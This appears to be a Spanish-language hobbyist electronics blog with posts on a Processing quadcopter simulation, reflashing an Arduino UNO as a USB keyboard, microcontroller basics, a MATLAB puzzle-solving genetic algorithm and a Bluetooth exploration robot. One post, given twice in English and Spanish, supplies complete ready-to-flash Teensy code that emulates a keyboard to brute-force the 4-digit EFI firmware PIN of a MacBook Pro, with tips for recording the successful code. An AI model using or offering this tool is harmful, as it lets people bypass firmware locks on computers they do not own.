miércoles, 20 de mayo de 2015

Cuadricóptero + Processing

Bien les dejo este código ya viejo que hice hace ya mucho tiempo el objetivo era ver en "tiempo real" la aceleración que tendría cada uno de los motores de un cuadricóptero para la compensación de fuerzas y así conseguir una estabilización, el código esta comentado y des afortunadamente no encontré la parte que hacia la conexión con una placa Arduino para adquirir los datos del sensor, por ahora solo toma los datos del mouse pero ya con eso basta para que cualquiera pueda introducir datos en dichas variables provenientes de cualquier dispositivo con conexión a la PC.

Bueno sin más espero que le sirva por lo menos a alguien.



/**
 * Setup Quadcopter Simulation
 *
 * this code is for a mini quadcopter simulation and stabilization with accelerometer and microcontroller
 */

  /*
   line(300, 160, 340,160);  // top square mainframe quadcopter
 
   line(300, 200, 340,200); // bottom square mainframe quadcopter
 
   line(300, 160, 300,200); // this is the left side of mainframe
 
   line(340, 160, 340,200); // this is the right side of mainframe
*/

// The statements in the setup() function
// execute once when the program begins
float angle = 0.0;
float angle1 = 0.0;
float angle2 = 0.0;
float angle3 = 0.0;
float VM1=10;
float VM2=10;
float VM3=10;
float VM4=10;
void setup() {
  size(640, 320 );  // Size must be the first statement
  stroke(255);     // Set line drawing color to white
  frameRate(30);
}

void M1(){
  pushMatrix(); // Save the current position before the translate modifications.

  angle=angle+VM1;
  translate(270,130);
  rotate(angle);
  line(-35,0,35,0);
  fill(125, 0, 0);
  ellipse(-20,0,38,8);
  ellipse( 20,0,38,8);
  popMatrix();  //  Restore the original positions after the translate modifications.
}

void M2(){
  pushMatrix(); // Save the current position before the translate modifications.
  angle1=angle1+VM2;
  translate(370,130);
  rotate(angle1);
  line(-35,0,35,0);
  fill(125,0,0);
  ellipse(-20,0,38,8);
  ellipse( 20,0,38,8);
  popMatrix();  //  Restore the original positions after the translate modifications.

}

void M3(){
  pushMatrix(); // Save the current position before the translate modifications.
  angle2=angle2+VM3;
  translate(270,230);
  rotate(angle2);
  line(-35,0,35,0);
  fill(0);
  ellipse(-20,0,38,8);
  ellipse( 20,0,38,8);
  popMatrix();  //  Restore the original positions after the translate modifications.

}

void M4(){
  pushMatrix(); // Save the current position before the translate modifications.
  angle3=angle3+VM4;
  translate(370,230);
  rotate(angle2);
  line(-35,0,35,0);
  fill(0);
  ellipse(-20,0,38,8);
  ellipse( 20,0,38,8);
  popMatrix();  //  Restore the original positions after the translate modifications.

}
void protector(){
noFill();  strokeWeight(4);
      ellipse(270, 130, 100, 100); // M1 L1
      ellipse(370, 130, 100, 100); // M2 R1
      ellipse(270, 230, 100, 100); // M3 L2
      ellipse(370, 230, 100, 100);  strokeWeight(1); // M4 R2
      fill(255);
      ellipse(270, 130, 7, 7); // M1 L1
      ellipse(370, 130, 7, 7); // M2 R1
      ellipse(270, 230, 7, 7); // M3 L2
      ellipse(370, 230, 7, 7);
}

// The statements in draw() are executed until the
// program is stopped. Each statement is executed in
// sequence and after the last line is read, the first
// line is executed again.
void draw() {

  background(30);   // Set the background to black
VM1= map(mouseX, 0, width, 0, height);
VM2= map(mouseX, 0, width, 0, height);
VM3=10;
VM4=10;
    fill(0);
    strokeWeight(4);
    line(270,130,370,230);  // L1 and R2 Arm motor
    line(370,130,270,230);  // L2 and R1 Arm motor
    strokeWeight(1);
    ellipse(320, 180, 40, 40); // for the ellipse ( this is center XY, this is diameter)

  //line(320, 180, 320,180);    // center of mainframe quadcopter
     fill(50,0,40);
   ellipse(270, 130, 20, 20); // M1 L1
   ellipse(370, 130, 20, 20); // M2 R1
   ellipse(270, 230, 20, 20); // M3 L2
   ellipse(370, 230, 20, 20); // M4 R2
 
 

 

   text("SIMULATION OF QUADCOPTER STABILIZER  "+angle,10,40);
   text("M1: "+VM1,10,60);
   text("M2: "+VM2,10,70);
   text("M3: "+VM3,10,80);
   text("M4: "+VM4,10,90);  



M1();
M2();
M3();
M4();
protector();
}


viernes, 8 de mayo de 2015

Arduino UNO como dispositivo HID

Bien hoy escribiré con el propósito de explicar como conseguir que nuestra tarjeta Arduino en mi caso un Arduino UNO funcione como un dispositivo de interfaz humana HID (Human Interface Device). Esta es un funcionalidad que se logra extra con un procedimiento reversible y es algo muy útil para algunos de nuestros proyectos cuando nuestro dispositivo necesita funcionar como una interfaz de entrada en diversos sistemas como por ejemplo una consola de vídeo juegos como un Xbox 360 o un PS3, o también como un teclado automático como anteriormente utilice una tarjeta Teensy 3.1 en este post que precisamente tiene esta función de fabrica y ahora podremos tenerla en nuestra tarjeta sin necesidad de adquirir ningún modulo.

Para comenzar debo explicarles que la tarjeta UNO se compone entre diversas cosas de un microcontrolador principal y uno secundario, probablemente los conozcamos a ambos pero sin duda estamos mas familiarizado con el principal el ATMEGA328 que es el que programamos directamente desde el IDE de Arduino, pero este no es el único microcontrolador con poder a bordo de la tarjeta también esta el ATMEGA16U2 este microcontrolador es el encargado de comunicar nuestra computadora con el ATMEGA328 pues entre otras cosas posee un puerto de USB que es el que en realidad utilizamos cuando conectamos la tarjeta a nuestro PC, este principalmente se encarga de "rutear" la comunicación de USB al serial del ATMEGA328 y viceversa es por ello que cuando conectamos nuestra tarjeta por USB nuestra computadora lo reconoce como un puerto Serial COM, es ahí donde radica el objetivo de este post ya que lo que aremos sera programar ese ATMEGA16U2 con otro firmware para que no funcione como un Serial COM si no como un teclado, un joystick, un mouse o un control de vídeo consola.

En la siguiente imagen se puede observar a rasgos muy generales como es la comunicación con el microcontrolador principal a través de la conexión directa USB del ATMEGA16U2.
Esquema general de la comunicación entre el PC con ATMEGA328 a través del ATMEGA16U2

Para conseguir grabar un sketch en Arduino basta con conectarlo a nuestra computadora seleccionar el puerto serial en el IDE y dar grabar, para grabar el ATMEGA16U2 el proceso es un poco diferente pero no por ello mas complicado solo que tendremos que descargar un software especial llamado FLIP que esta disponible para descargar de manera gratuita aqui desde la pagina de ATMEL ese sera el primer paso, ahora algo importante es que para poder conseguir la grabación necesitaremos entrar en modo DFU (Device Firmware Upgrade) para entrar en este modo sera  necesario unir por un instante los siguientes pines de nuestra tarjeta como se muestra en la fotografía siguiente esto para un Arduino UNO SMD si nosotros tenemos una placa UNO convencional sera necesario agregar una resistencia de 10kOhm como también puede observarse a continuación.

Puente necesario para la grabación

Resistencia necesaria si nuestra tarjeta no es SMD
Los firmwares son diferentes para cada una de las aplicaciones es decir hay un firmware para que opere como teclado otro para que opere como Joystick, aquí hay algunos de los firmware disponibles pero para comenzar yo recomiendo descargar estos 2 luego ya que dominen el proceso podrá experimentar con los demás.

Firmwares de prueba

1. firmware de fabrica para Arduino UNO, USB-SERIAL - DESCARGAR
2. firmware para operar como teclado HID - DESCARGAR
3. Aquí un Sketch de prueba para teclado - DESCARGAR

Bien para que sea mas claro describiré el procedimiento en una serie de pasos

  1. Descargar e instalar el software FLIP desde la pagina de ATMEL aquí
  2. Agregar el puente de resistencia si nuestra tarjeta no es SMD
  3. Conectar la tarjeta al PC y grabar el sketch que necesitemos
  4. Conectar la tarjeta al PC y aplicar la unión de los pines por 1 Segundo nuestro disposivos aparecerá como Dispositivo desconocido
  5. Ir al administrador de dispositivos e instalar el driver del ATMEGA16U2 que se encuentra en la siguiente ruta C:\Program Files\Atmel\Flip 3.4.7\usb
  6. Lanzar FLIP e ir a file/Load HEX file y seleccionar el archivo HEX perteneciente al firmware que deseamos grabar.
  7. En FLIP ir a Settings/Communication/ y seleccionar USB ó presionar Ctrl+U
  8. En el programa seleccionar Device/Erase y luego Erase/Program
  9. Desconectar nuestra tarjeta y conectar donde necesitamos el dispositivo HID
Es importante mencionar que el procedimiento se hace cada vez que hagamos una modificación al sketch es decir tendremos que grabar de nuevo el firmware original de la tarjeta para poder cargar el programa al ATMEGA328.

Bueno espero tener tiempo próximamente para actualizar esto con imágenes y de una manera un poco mas gráfica, si  mas espero que les sea de utilidad.






jueves, 7 de mayo de 2015

Microcontroladores y Microprocesadores

Hoy escribo esto con la finalidad de tratar de explicar para mi mismo y para quien tenga la necesidad de saber, las diferencias que existen entre un microcontrolador y un microprocesador, frecuentemente me hacia esa pregunta y en ocasiones la respuesta podemos tenerla bastante clara pero cuando queremos expresarla formalmente es un poco difícil de explicar y aun mas cuando deseas explicarlo a alguien que te lo pregunta y no esta muy familiarizado con electrónica o sistemas digitales.

Los microcontroladores son computadoras encapsuladas en un circuito integrado o chip que se componen de diversos componentes, una Unidad Central de Procesamiento (CPU, Central Processing Unit), memoria de programa, memoria de datos, puertos de entradas y salidas digitales, temporizadores (timers) e interrupciones internas y externas. Todos los componentes mencionados se encuentran encapsulados en un único circuito integrado. Podemos decir que los microcontroladores son dispositivos inteligentes que se emplean en sistemas de monitoreo y control. Estos dispositivos son los responsables de la revolución digital y se emplean en muchísimos dispositivos de uso diario como teléfonos, impresoras, vídeo juegos y reproductores de medios.

Microcontrolador típico



Un microcontrolador se diferencia de un microprocesador en diversos aspectos. lo principal es que el microprocesador necesita de componentes externos para funcionar como memoria, reloj, dispositivos de entrada y salida. También es importante mencionar que los microprocesadores son generalmente mas poderosos pero ello implica que el consumo de energía sera mayor, que posiblemente necesitaran de dispositivos de enfriamiento y que su costos es mas elevado.

Microprocesador típico montado en un circuito integrado

Los microcontroladores son ideales para sistemas dedicados donde se realiza un tarea especifica, mientras que los microprocesadores son mejores para aplicaciones de propósito general, donde las tareas pueden ser múltiples y simultaneas.

Bueno espero les sea útil la información

Fuente: PIC Basic Projects "by" Dorgan Ibrahim

viernes, 21 de noviembre de 2014

Algoritmo Genetico Rompe Cabeza (MATLAB)

Bien aquí les dejo un algoritmo genético que desarrolle para armar un rompe cabeza de 6 x 6.

Para realizarlo utilice MATLAB el código es muy sencillo de entender y esta comentado, además para realizarlo me base en esta publicación de Fubito Toyama, Yukihiro Fujiki, Kenji Shoji, y Juichi Miyamichi de la Facultad de ingeniería en la Universidad de Utsunomiya en Japón.

Por lo que ustedes pueden tomar como referencia esa publicacion tambien.



Esta fue la imagen que utilze yo para partirla en imagenes de 100x100px por lo que la imagen es de 600x600px


DESCARGAR CODIGO
Solo recuerden cambiar las rutas de acceso a archivos.

Cualquier duda comenten.




miércoles, 19 de noviembre de 2014

Automated brute force PIN lock for a MacBook Pro EFI


This is taken from http://orvtech.com/atacar-efi-pin-macbook-pro.html and modified by me to show the process in a display screen 16 x 2 LCD.

The code in the Teensy basically will play automated external keyboard that way introduce combinations of 0000-9999 the only problem that we will be attentive to when the Mac log in, to solve this problem I recommend using a webcam to recording and then see the correct combination.


The code is ready to be installed I used the Teensy 3.1 and I tried to unlock a Mac from a friend and it worked perfectly.

Some photos of the process I take and discuss any concerns.




#include <usb_keyboard.h>
#include <LiquidCrystal.h>
LiquidCrystal lcd(23, 22, 16, 15, 14, 13);

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {

  lcd.begin(16, 2);
  lcd.print("CODE INPUT");
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
    lcd.setCursor(0, 1);
    lcd.print(pin[0]);
    lcd.setCursor(1, 1);
    lcd.print(pin[1]);
    lcd.setCursor(2, 1);
    lcd.print(pin[2]);
    lcd.setCursor(3, 1);
    lcd.print(pin[3]);
    
    

  }
  
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

For beginners this is the schematic for the LCD Display, only remember for Teensy the pinout numbers are different.



Ataque automatizado de fuerza bruta al bloqueo por PIN del EFI de una MacBook Pro (LCD)

Este es un código tomado de http://orvtech.com/atacar-efi-pin-macbook-pro.html y modificado por mí para visualizar en pantalla LCD 16 x 2 el código que se está introduciendo básicamente la Teensy hará el papel de teclado externo que de manera automatizada introducirá las combinaciones de 0000 a 9999 el único problema que tendremos será estar atentos a cuando el Mac logre entrar, para esto recomiendo utilizar una cámara web y dejar grabando el proceso para luego ver que combinación fue la correcta.


El código está listo para montarse al Teensy yo utilice la 3.1 y probé desbloquear un Mac de una amiga y funciono a la perfección.

Dejo unas fotos del proceso que yo lleve acavo y cualquier duda comenten.






#include <usb_keyboard.h>
#include <LiquidCrystal.h>
LiquidCrystal lcd(23, 22, 16, 15, 14, 13);

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {

  lcd.begin(16, 2);
  lcd.print("CODE INPUT");
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
    lcd.setCursor(0, 1);
    lcd.print(pin[0]);
    lcd.setCursor(1, 1);
    lcd.print(pin[1]);
    lcd.setCursor(2, 1);
    lcd.print(pin[2]);
    lcd.setCursor(3, 1);
    lcd.print(pin[3]);
    
    

  }
  
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}




jueves, 13 de noviembre de 2014

ROBOT SENCILLO ARDUINO Y MATLAB

ROBOT DE EXPLORACIÓN SENCILLO
Ivan Alberto Mendoza Encinas
Instituto de ingeniería y tecnología
Matricula 103405

(656)-284-92-96

ivan.mendoza@outlook.com

Objetivo
El objetivo del proyecto es realizar un vehículo de exploración, que sea capaz de desplazarse hacia cualquier lado deseado, controlado vía Bluetooth, utilizando una programación en lenguaje C simplificado y Matlab.

Material
Hojas de Policarbonato
2 Motores de 12V
1 circuito integrado L293b
Tablilla Perforada
8 Diodos
2 llantas pequeñas
1 rueda omnidireccional
3 servomotores
1 Cámara
Arduino 1
1 Batería 7.5 V

Desarrollo

1.      Se desarrollo el programa que mandara las señales al arduino para controlar los movimientos del vehículo de exploración.


int izquierda0 = 12; // Pin 12 - izquierda0
int derecha0 = 11;  // Pin 11 - derecha0
int izquierda1 = 10;                         // Pin 10 - izquierda1
int derecha1 = 9;                         // Pin 9  - derecha1
int turbo = 8;                        // Pin 8  - Turbo
int luces = 7;             // Pin 7  - Luces Cortas
int lucesA = 13;              // Pin 6  - Luces Largas
int lucesB = 5;             // Pin 5  - Luces traseras
int lucesR = 4;         // Pin 4  - Luz de derecha0
int motor=3; //El pin numero 3 correspondera al motor
char tecla;  // Val es la variable que se recibira por medio de bluetooth
void setup() {
  // Declaramos los pines como salida con su correspondiente variable
pinMode(izquierda0, OUTPUT);
pinMode(derecha0, OUTPUT);
pinMode(izquierda1, OUTPUT);
pinMode(derecha1, OUTPUT);
pinMode(turbo, OUTPUT);
pinMode(luces, OUTPUT);
pinMode(lucesA, OUTPUT);
pinMode(lucesB, OUTPUT);
pinMode(lucesR, OUTPUT);

Serial.begin(9600);            // Inicializamos el puerto serial a 9600 baudios
}
// izquierda0
void F_izquierda(){
digitalWrite(izquierda0, HIGH);
digitalWrite(izquierda1, LOW);

digitalWrite(derecha0, LOW);
digitalWrite(derecha1, HIGH);
}
// derecha0
void F_derecha() {
digitalWrite(izquierda0, LOW);
digitalWrite(izquierda1, HIGH);
digitalWrite(derecha0, HIGH);
digitalWrite(derecha1, LOW);
}
// Detener Funcion izquierda0
void F_parar() {
digitalWrite(izquierda0, LOW);
digitalWrite(izquierda1, LOW);
digitalWrite(derecha0, LOW);
digitalWrite(derecha1, LOW);
}             
void F_Adelante() {
digitalWrite(izquierda0, LOW);
digitalWrite(izquierda1, HIGH);
digitalWrite(derecha0, LOW);
digitalWrite(derecha1, HIGH);
}
void F_Reversa() {
digitalWrite(izquierda0, HIGH);
digitalWrite(izquierda1, LOW);
digitalWrite(derecha0, HIGH);
digitalWrite(derecha1, LOW);
}
// Frenar - Parar
void Alto_Total() {
digitalWrite(izquierda0, LOW);
digitalWrite(derecha0, LOW);
digitalWrite(turbo, LOW);
digitalWrite(derecha1, LOW);
digitalWrite(izquierda1, LOW);
digitalWrite(lucesR, LOW);
}
// Encender luces bajas
void luces_on() {
digitalWrite(luces, HIGH);
digitalWrite(lucesB, HIGH);
}
// Apagar luces bajas
void luces_off() {
digitalWrite(luces, LOW);
digitalWrite(lucesB, LOW);
}
// Encender luces Altas
void lucesA_on() {
digitalWrite(lucesA, HIGH);
}
// Apagar luces altas
void lucesA_off() {
digitalWrite(lucesA, LOW);
}
// Encender luces de derecha0
void lucesR_on() {
digitalWrite(lucesR, HIGH);
}
// Apagar luces de derecha0
void lucesR_off() {
digitalWrite(lucesR, LOW);
}
// Funcion Switch case en funcion de la variable Val que se lee del serial.
void Comando() {
if (Serial.available()) {
tecla = Serial.read();
  }
  if (tecla>='0' && tecla<='9'){

        //De acuerdo a la variable le asignamos una proporcion entre 0 y 255
        int velocidad = map(tecla,'0','9',0,180);
                //Cambiamos el valor de PWM
        analogWrite(motor,velocidad);
        //Mensaje para el usuario
        Serial.print("El motor gira a velocidad ");
        Serial.println(tecla);
       }
      else if (tecla == 'a') { // izquierda0
F_izquierda();
    } else if (tecla == 'd') { // derecha0
F_derecha();
    } else if (tecla == ' ') { // Parar derecha0
F_parar();
    } else if (tecla == 'w') { // Turbo
F_Adelante();
    } else if (tecla == 's') { // Turbo
F_Reversa();
    }
}
void loop() { //ciclo infinito de muestreo de la variable Val para el Switch de casos
Comando();
}

2.      Se acondicionaron los motores con un puente H para poder controlar los giros de cada motor.








3.      Se creó la base del vehículo de exploración y se probó la conexión del Arduino con el circuito integrado.


4.      Se agregó un Módulo Bluetooth, el cual mandara las señales indicadas para que el dispositivo se mueva de la manera deseada.



5.       Se creó el programa en Matlab para mandar la señal de video a la computadora


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
close all;clear all;clc;

PS=serial('COM12');
set(PS,'Baudrate',9600); % se configura la velocidad a 9600 Baudios
set(PS,'StopBits',1); % se configura bit de parada a uno
set(PS,'DataBits',8); % se configura que el dato es de 8 bits, debe estar entre 5 y 8
set(PS,'Parity','none'); % se configura sin paridad
set(PS,'Terminator','CR/LF');% “c” caracter con que finaliza el envío
set(PS,'OutputBufferSize',2); % ”n” es el número de bytes a enviar
set(PS,'InputBufferSize' ,2); % ”n” es el número de bytes a recibir
set(PS,'Timeout',5); % 5 segundos de tiempo de espera


fopen(PS);

% primero se captura un stream de video usando videoinput, con argumento
%de winvideo, numero de dispositivo y formato de la camara, si no sabes usa la
%funcion imaqtool para averiguarlo es YUY o RGB
vid =  videoinput('winvideo',1,'RGB24_160x120');

%640x480 160x120
% Se configura las opciones de adquision de video
set(vid, 'FramesPerTrigger', Inf);
set(vid, 'ReturnedColorspace', 'rgb')
vid.FrameGrabInterval = 2;
%framegrabinterval significa que tomara cada 5 frame del stream de video adquirida
%con start(vid) se activa la adquisicion, pero todavia se toma la primera foto
start(vid)

% creamos un bucle que puede ser while always o while true en este caso
%y como mi compu es una netbook trucha(trucha=cagada=lenta=barata)
%hago que despues de 100 frames adquiridos se salga del bucle para evitar colgadas
while(vid.FramesAcquired<=200)

% se toma una snapshot del stream y se la almacena en data para trabajar mas
%facil
data = getsnapshot(vid);

% ahora vamos a reconocer el color rojo en tiempo real
% tenemos que extraer el color rojo
% de la imagen en escala de grises de la imagen adquirida en data
diff_im = imsubtract(data(:,:,1), rgb2gray(data));
%imsubstract sirve para sacar algun valor constante de una imagen, usamos como
%argumento el array de data y la funcion rgb2gray de data
%se usa medfilt2 para filtrar la senial del ruido
diff_im = medfilt2(diff_im, [3 3]);
% Convertir la imagen en escala de grises a una imagen binaria.
diff_im = im2bw(diff_im,0.18);

% para determinar el tamanio a reconocer se usa bwareopen para descartar
%imagen de rojo de menos de 300 pixels
diff_im = bwareaopen(diff_im,300);

% Etiquetamos los elementos conectados en la imagen
bw = bwlabel(diff_im, 8);

% Ahora hacemos el analisis del "objeto" detectado(que solo son pixels rojos)
%agrupados de mas de 300
% onfiguramos la region etiquetada
stats = regionprops(bw, 'BoundingBox', 'Centroid');

% mostramos la imagen
imshow(data)

hold on

%este es un bucle para encerrar el objeto rojo en un rectangulp y una cruz en el
%centroide(solo es programacion basica de matlab)
for object = 1:length(stats)
bb = stats(object).BoundingBox;
bc = stats(object).Centroid;
rectangle('Position',bb,'EdgeColor','r','LineWidth',2)
plot(bc(1),bc(2), '-m+')
a=text(bc(1)+15,bc(2), strcat('X: ', num2str(round(bc(1))), ' Y: ', num2str(round(bc(2)))));
set(a, 'FontName', 'Arial', 'FontWeight', 'bold', 'FontSize', 12, 'Color', 'yellow');

equis= num2str(round(bc(1)));

if equis < 99
fwrite(PS,equis,'uint8');

display(equis);

end
        
end

hold off
end
% aqui terminan los 2 bucles
% detenemos la captura
stop(vid);

%FLUSHDATA remueve la imagen del motor de adquisicion y la almacena en el buffer
flushdata(vid);
fclose(PS);
delete(PS);
clear PS;
% borramos todo(como en cualquier programa)
clear all
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%')

6.      Se creó y agrego el programa en lenguaje C simplificado para controlar los servomotores para el movimiento de la cámara.


int izquierda0 = 12; // Pin 12 - izquierda0
int derecha0 = 11;  // Pin 11 - derecha0
int izquierda1 = 10;                         // Pin 10 - izquierda1
int derecha1 = 9;                         // Pin 9  - derecha1
int turbo = 8;                        // Pin 8  - Turbo
int luces = 7;             // Pin 7  - Luces Cortas
int lucesA = 13;              // Pin 6  - Luces Largas
int lucesB = 5;             // Pin 5  - Luces traseras
int lucesR = 4;         // Pin 4  - Luz de derecha0

int motor=3; //El pin numero 3 correspondera al motor


char tecla;  // Val es la variable que se recibira por medio de bluetooth

void setup() {

  // Declaramos los pines como salida con su correspondiente variable
pinMode(izquierda0, OUTPUT);
pinMode(derecha0, OUTPUT);
pinMode(izquierda1, OUTPUT);
pinMode(derecha1, OUTPUT);
pinMode(turbo, OUTPUT);
pinMode(luces, OUTPUT);
pinMode(lucesA, OUTPUT);
pinMode(lucesB, OUTPUT);
pinMode(lucesR, OUTPUT);

Serial.begin(9600);            // Inicializamos el puerto serial a 9600 baudios
}


// izquierda0
void F_izquierda(){
digitalWrite(izquierda0, HIGH);
digitalWrite(izquierda1, LOW);

digitalWrite(derecha0, LOW);
digitalWrite(derecha1, HIGH);
}

// derecha0
void F_derecha() {
digitalWrite(izquierda0, LOW);
digitalWrite(izquierda1, HIGH);

digitalWrite(derecha0, HIGH);
digitalWrite(derecha1, LOW);
}

// Detener Funcion izquierda0
void F_parar() {
digitalWrite(izquierda0, LOW);
digitalWrite(izquierda1, LOW);

digitalWrite(derecha0, LOW);
digitalWrite(derecha1, LOW);
}



void F_Adelante() {
digitalWrite(izquierda0, LOW);
digitalWrite(izquierda1, HIGH);

digitalWrite(derecha0, LOW);
digitalWrite(derecha1, HIGH);
}

void F_Reversa() {
digitalWrite(izquierda0, HIGH);
digitalWrite(izquierda1, LOW);

digitalWrite(derecha0, HIGH);
digitalWrite(derecha1, LOW);
}



// Frenar - Parar
void Alto_Total() {
digitalWrite(izquierda0, LOW);
digitalWrite(derecha0, LOW);
digitalWrite(turbo, LOW);
digitalWrite(derecha1, LOW);
digitalWrite(izquierda1, LOW);
digitalWrite(lucesR, LOW);
}

// Encender luces bajas
void luces_on() {
digitalWrite(luces, HIGH);
digitalWrite(lucesB, HIGH);
}

// Apagar luces bajas
void luces_off() {
digitalWrite(luces, LOW);
digitalWrite(lucesB, LOW);
}

// Encender luces Altas
void lucesA_on() {
digitalWrite(lucesA, HIGH);
}

// Apagar luces altas
void lucesA_off() {
digitalWrite(lucesA, LOW);
}

// Encender luces de derecha0
void lucesR_on() {
digitalWrite(lucesR, HIGH);
}

// Apagar luces de derecha0
void lucesR_off() {
digitalWrite(lucesR, LOW);
}

// Funcion Switch case en funcion de la variable Val que se lee del serial.
void Comando() {
if (Serial.available()) {
tecla = Serial.read();
  }
  if (tecla>='0' && tecla<='9'){

        //De acuerdo a la variable le asignamos una proporcion entre 0 y 255
        int velocidad = map(tecla,'0','9',0,180);
       
        //Cambiamos el valor de PWM
        analogWrite(motor,velocidad);
        //Mensaje para el usuario
        Serial.print("El motor gira a velocidad ");
        Serial.println(tecla);

       }
      else if (tecla == 'a') { // izquierda0
F_izquierda();
    } else if (tecla == 'd') { // derecha0
F_derecha();
    } else if (tecla == ' ') { // Parar derecha0
F_parar();
    } else if (tecla == 'w') { // Turbo
F_Adelante();
    } else if (tecla == 's') { // Turbo
F_Reversa();
    }

}

void loop() { //ciclo infinito de muestreo de la variable Val para el Switch de casos
Comando();
}
 7. Se agregó al vehículo una base con tres  servomotores para agregarle movimiento a la cámara.


8.      Se probó la funcionalidad del vehículo de exploración.


Conclusión

El proyecto se realizó en aproximadamente 30 horas con un costo de $350 pesos ya que se contaba con la mayoría del material.
Los resultados del proyecto fueron en parte satisfactorios, el vehículo funciona correctamente al igual que el movimiento de la cámara realizado con servomotores. Se tuvieron complicaciones con el programa en Matlab y no se concluyó la conexión a la computadora. Se le agrego el manejo de los servomotores con un control  de joystick.